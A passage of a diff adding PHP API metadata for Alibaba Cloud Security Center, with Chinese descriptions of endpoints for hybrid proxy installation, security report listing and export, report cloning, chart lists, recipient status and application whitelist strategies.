'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InstallVersion\\": \\"proxy_01_03\\",\\n \\"RequestId\\": \\"F9FCB51A-5078-5D31-9C4D-3B25BEF068C7\\"\\n}","type":"json"}]', + 'title' => '查询混合云代理默认安装版本', + ], + 'InstallHybridProxy' => [ + 'summary' => '安装混合云代理客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'YundunUuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '代理机器uuid列表。', + 'type' => 'array', + 'items' => [ + 'description' => '代理机器的uuid。', + 'type' => 'string', + 'required' => false, + 'example' => '1b085300-2b3f-4f6c-98d5-f55f38dd14ee', + ], + 'required' => false, + 'maxItems' => 10000, + 'minItems' => 1, + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'proxy-test', + ], + ], + [ + 'name' => 'InstallCode', + 'in' => 'query', + 'schema' => [ + 'description' => '客户端安装码。', + 'type' => 'string', + 'required' => false, + 'example' => 'Z9c8SA', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'E55BE5DB-E2DF-57EB-A0C5-7A85EEA67A4C', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'Illegal parameter', + 'errorMessage' => 'illegal parameter', + ], + [ + 'errorCode' => 'Data not exist', + 'errorMessage' => 'Data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E55BE5DB-E2DF-57EB-A0C5-7A85EEA67A4C\\"\\n}","type":"json"}]', + 'title' => '安装混合云代理客户端', + ], + 'DescribeCustomizeReportList' => [ + 'summary' => '查询安全报告列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92050', + 'abilityTreeNodes' => [ + 'FEATUREsasAT4UY0', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值**zh**。取值：'."\n" + ."\n\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ReportStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '报告状态。取值：'."\n" + .' - **0**：关闭'."\n" + .' - **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ReportType', + 'in' => 'query', + 'schema' => [ + 'description' => '报告类型。取值：'."\n" + ."\n" + .'- **0**：日报'."\n" + .'- **1**：周报'."\n" + .'- **2**：月报'."\n" + .'- **3**：自定义周期', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'Title', + 'in' => 'query', + 'schema' => [ + 'description' => '报告名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'ReportVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '安全报告版本。取值：'."\n" + .'- **1.0.0**'."\n" + .'- **2.0.0**', + 'type' => 'string', + 'required' => false, + 'example' => '2.0.0', + ], + ], + [ + 'name' => 'Pinned', + 'in' => 'query', + 'schema' => [ + 'description' => '是否置顶标识。取值：'."\n" + .'- **false**：否'."\n" + .'- **true**：是', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9FBC6E47-7508-58C9-9E76-528E118CB1CC', + ], + 'ReportList' => [ + 'description' => '安全报告信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '安全报告信息。', + 'type' => 'object', + 'properties' => [ + 'ReportStatus' => [ + 'description' => '报告状态。取值：'."\n" + .' - **0**：关闭'."\n" + .' - **1**：开启', + 'type' => 'string', + 'example' => '0', + ], + 'IsDefault' => [ + 'description' => '是否为默认报告。取值：'."\n" + .'- **0**：非默认报告'."\n" + .'- **1**：默认报告', + 'type' => 'string', + 'example' => '1', + ], + 'ReportType' => [ + 'description' => '报告类型。取值：'."\n" + ."\n" + .'- **0**：日报'."\n" + .'- **1**：周报'."\n" + .'- **2**：月报'."\n" + .'- **3**：自定义周期', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ReportId' => [ + 'description' => '安全报告ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'Title' => [ + 'description' => '报告名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'ReportVersion' => [ + 'description' => '安全报告版本。', + 'type' => 'string', + 'example' => '2.0.0', + ], + 'ReportStartDate' => [ + 'description' => '报告发送开始时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1721836800000', + ], + 'ReportEndDate' => [ + 'description' => '报告发送结束时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1721923199999', + ], + 'PinnedTime' => [ + 'description' => '置顶时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1721836800000', + ], + 'ReportDays' => [ + 'description' => '报告统计的最近天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118CB1CC\\",\\n \\"ReportList\\": [\\n {\\n \\"ReportStatus\\": \\"0\\",\\n \\"IsDefault\\": \\"1\\",\\n \\"ReportType\\": 0,\\n \\"ReportId\\": 1,\\n \\"Title\\": \\"test\\",\\n \\"ReportVersion\\": \\"2.0.0\\",\\n \\"ReportStartDate\\": 1721836800000,\\n \\"ReportEndDate\\": 1721923199999,\\n \\"PinnedTime\\": 1721836800000,\\n \\"ReportDays\\": 7\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询安全报告列表', + ], + 'DescribeReportExport' => [ + 'summary' => '查询安全报告导出信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ExportId', + 'in' => 'query', + 'schema' => [ + 'description' => '导出任务的ID。'."\n" + .'> 您可以调用[ExportCustomizeReport](~~ExportCustomizeReport~~)获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'ExportId' => [ + 'description' => '导出任务的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', + ], + 'DownloadUrl' => [ + 'description' => '报告下载链接。', + 'type' => 'string', + 'example' => 'https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx', + ], + 'UrlExpiredTime' => [ + 'description' => '报告下载链接过期时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1660113647000', + ], + 'ExportDate' => [ + 'description' => '报告生成时间。', + 'type' => 'string', + 'example' => '2022-12-15', + ], + 'ReportId' => [ + 'description' => '安全报告ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '377665', + ], + 'ExportStatus' => [ + 'description' => '导出任务的状态。取值：'."\n" + .'- **-1**：导出失败'."\n" + .'- **0**：导出初始化'."\n" + .'- **1**：导出中'."\n" + .'- **2**：导出成功', + 'type' => 'string', + 'example' => '2', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ExportId\\": 2,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"DownloadUrl\\": \\"https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx\\",\\n \\"UrlExpiredTime\\": 1660113647000,\\n \\"ExportDate\\": \\"2022-12-15\\",\\n \\"ReportId\\": 377665,\\n \\"ExportStatus\\": \\"2\\"\\n}","type":"json"}]', + 'title' => '查询安全报告导出信息', + ], + 'CopyCustomizeReportConfig' => [ + 'summary' => '云安全中心系统配置，安全报告，克隆报表功能，克隆后将新增一个和此配置相同的报告。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '59.46.XXX.XXX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '报告ID。'."\n" + ."\n" + .'> 调用[DescribeCustomizeReportList](~~DescribeCustomizeReportList~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '492742', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\"\\n}","type":"json"}]', + 'title' => '克隆报表', + ], + 'DescribeChartList' => [ + 'summary' => '查询云安全中心安全报告支持统计的图表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '157307', + 'abilityTreeNodes' => [ + 'FEATUREsasAT4UY0', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ProjectCode', + 'in' => 'query', + 'schema' => [ + 'description' => '项目编码。取值：'."\n" + ."\n" + .'- **customize_report**：定制报告', + 'type' => 'string', + 'required' => true, + 'example' => 'customize_report', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '报告ID。'."\n" + ."\n" + .'> 调用[DescribeCustomizeReportList](~~DescribeCustomizeReportList~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '720549', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'ChartList' => [ + 'description' => '图表列表。', + 'type' => 'array', + 'items' => [ + 'description' => '图表数据。', + 'type' => 'object', + 'properties' => [ + 'ChartId' => [ + 'description' => '图表ID。', + 'type' => 'string', + 'example' => 'CID_CLOUD_ASSET_SUMMARY', + ], + 'ChartName' => [ + 'description' => '图表名称。', + 'type' => 'string', + 'example' => 'Security Score', + ], + 'BusinessName' => [ + 'description' => '业务类型名称。取值：'."\n" + ."\n" + .'- 整体运营指标'."\n" + .'- 资产运营指标'."\n" + .'- 安全告警运营指标'."\n" + .'- 漏洞运营指标'."\n" + .'- 基线运营指标'."\n" + .'- 云产品运营指标'."\n" + .'- 云蜜罐运营指标', + 'type' => 'string', + 'example' => 'Overall Operation Metrics', + ], + 'BusinessType' => [ + 'description' => '业务类型。取值：'."\n" + ."\n" + .'- INDEX_SECURITY_OVERALL_OPERATION'."\n" + .'- INDEX_ASSET_OPERATION'."\n" + .'- INDEX_SUSPICIOUS_OPERATION'."\n" + .'- INDEX_VUL_OPERATION'."\n" + .'- INDEX_BASELINE_CHECK_OPERATION'."\n" + .'- INDEX_CLOUD_ASSET_OPERATION'."\n" + .'- INDEX_HONEYPOT_RISK_OPERATION', + 'type' => 'string', + 'example' => 'INDEX_SECURITY_OVERALL_OPERATION', + ], + 'ChartType' => [ + 'description' => '图表类型。'."\n" + ."\n" + .'- **text**：文本'."\n" + .'- **table**：表格'."\n" + .'- **gauge**：测量图'."\n" + .'- **pie**：饼图'."\n" + .'- **line**：线图'."\n" + .'- **bar**：柱状图'."\n" + .'- **timeBar**：时间轴柱状图'."\n" + .'- **timeLine**：时间轴线图', + 'type' => 'string', + 'example' => 'text', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '35B434CC-1615-5937-A04E-A9BC2868DB45', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ChartList\\": [\\n {\\n \\"ChartId\\": \\"CID_CLOUD_ASSET_SUMMARY\\",\\n \\"ChartName\\": \\"Security Score\\",\\n \\"BusinessName\\": \\"Overall Operation Metrics\\",\\n \\"BusinessType\\": \\"INDEX_SECURITY_OVERALL_OPERATION\\",\\n \\"ChartType\\": \\"text\\"\\n }\\n ],\\n \\"RequestId\\": \\"35B434CC-1615-5937-A04E-A9BC2868DB45\\"\\n}","type":"json"}]', + 'title' => '查询统计图表列表', + ], + 'DescribeReportRecipientStatus' => [ + 'summary' => '使用云安全中心的系统配置，安全报告功能查询报告联系人状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '39.174.xxx.xxx', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Recipients', + 'in' => 'query', + 'schema' => [ + 'description' => '联系人邮箱，多个用半角逗号隔开。', + 'type' => 'string', + 'required' => true, + 'example' => 'username@example.com,username@example.com', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', + ], + 'ReportRecipientList' => [ + 'description' => '报告联系人集合。', + 'type' => 'array', + 'items' => [ + 'description' => '单个报告联系人。', + 'type' => 'object', + 'properties' => [ + 'Recipient' => [ + 'description' => '联系人邮箱。'."\n" + ."\n" + .'> 邮箱如果没有录入安全报告，返回值为空。', + 'type' => 'string', + 'example' => 'username@example.com', + ], + 'IsVerify' => [ + 'description' => '是否验证标识。取值：'."\n" + ."\n" + .'- 0：未验证'."\n" + .'- 1：已验证'."\n" + ."\n" + .'> 邮箱如果没有录入安全报告，返回值为空。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\",\\n \\"ReportRecipientList\\": [\\n {\\n \\"Recipient\\": \\"username@example.com\\",\\n \\"IsVerify\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询报告联系人状态', + ], + 'ModifyProcessWhiteList' => [ + 'summary' => '在应用白名单功能中，将进程加入或取消加入白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '92380', + 'abilityTreeNodes' => [ + 'FEATUREsasXNUPZF', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '173.128.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。'."\n" + .'>调用[DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'Md5s', + 'in' => 'query', + 'schema' => [ + 'description' => '进程启动文件的MD5值。'."\n" + .'>调用[DescribeWhiteListProcess](~~DescribeWhiteListProcess~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '001d7f68c3b44147988f0dc81192****', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '设置进程的白名单状态。取值：'."\n" + .'- **1**：取消白名单'."\n" + .'- **2**：加入白名单', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '11C96623-E106-59C9-866D-A6C82911****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + [ + 'errorCode' => 'StrategyStatusError', + 'errorMessage' => 'The strategy status does not support this operation.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911****\\"\\n}","type":"json"}]', + 'title' => '修改进程白名单状态', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'UpdateWhiteListStrategyStatus' => [ + 'summary' => '修改应用白名单策略状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92456', + 'abilityTreeNodes' => [ + 'FEATUREsasXNUPZF', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '219.143.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyIds', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。'."\n" + .'>调用[DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '8516', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '策略状态。取值：'."\n" + .'- **0**：删除'."\n" + .'- **1**：学习中'."\n" + .'- **2**：暂停'."\n" + .'- **3**：学习完成'."\n" + .'- **4**：已生效'."\n" + ."\n" + .'> - 只有**学习中**状态才能修改为**暂停**状态。'."\n" + .'> - 只有**暂停**状态才能修改为**学习中**状态。'."\n" + .'> - 只有**学习完成**状态才能修改为**已生效**状态。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '379a9b8f-107b-4630-9e95-2299a1ea****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"379a9b8f-107b-4630-9e95-2299a1ea****\\"\\n}","type":"json"}]', + 'title' => '修改应用白名单策略状态', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'SaveWhiteListStrategyAssets' => [ + 'summary' => '编辑应用白名单策略里面配置的服务器。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '92438', + 'abilityTreeNodes' => [ + 'FEATUREsasXNUPZF', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '115.193.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。'."\n" + .'>调用[DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2730', + ], + ], + [ + 'name' => 'Operations', + 'in' => 'query', + 'schema' => [ + 'description' => '操作。该参数JSON格式，输入参数时注意大小写。包含以下字段：'."\n" + ."\n" + .'- **status**：操作，取值：'."\n" + .' - **0**：删除'."\n" + .' - **1**：增加'."\n" + .'- **target**：资产UUID。该字段取值详见说明。'."\n" + ."\n" + .'> **target**取值您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '[{"status":0,"target":"c98dcd24-fa57-4759-b5ec-f8a4ffeed****"}]', + ], + ], + [ + 'name' => 'RelationType', + 'in' => 'query', + 'schema' => [ + 'description' => '策略类型。取值：'."\n" + .'- **1**：学习策略'."\n" + .'- **2**：应用策略', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-XXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXX\\"\\n}","type":"json"}]', + 'title' => '编辑应用白名单策略配置的服务器', + ], + 'SaveWhiteListStrategy' => [ + 'summary' => '创建应用白名单策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '92437', + 'abilityTreeNodes' => [ + 'FEATUREsasXNUPZF', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '124.89.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略编号。'."\n" + .'>调用[DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '8494', + ], + ], + [ + 'name' => 'StrategyName', + 'in' => 'query', + 'schema' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test', + ], + ], + [ + 'name' => 'StudyTime', + 'in' => 'query', + 'schema' => [ + 'description' => 